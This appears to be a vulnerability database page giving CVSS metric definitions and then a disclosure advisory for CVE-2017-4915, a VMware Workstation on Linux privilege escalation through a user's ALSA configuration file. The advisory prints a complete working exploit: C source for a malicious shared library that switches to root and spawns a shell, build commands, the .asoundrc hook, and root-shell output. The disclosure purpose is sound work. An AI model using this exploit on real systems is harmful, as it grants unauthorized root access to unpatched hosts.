The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
VMWare Workstation On Linux Privilege EscalationVMWare Workstation on Linux: unprivileged host user -> host root privesc via ALSA config
CVE-2017-4915
This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.
The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().
To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:
~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
if (strcmp(program_invocation_short_name, "vmware-vmx"))
return;
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
printf("current UIDs: %d %d %d\n", ruid, euid, suid);
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
printf("switched to root UID and GID");
system("/bin/bash");
_exit(0);
}
}
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
lib "/tmp/evil_vmware_lib.so"
func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware
Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:
/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit#
I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.
Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: jannh
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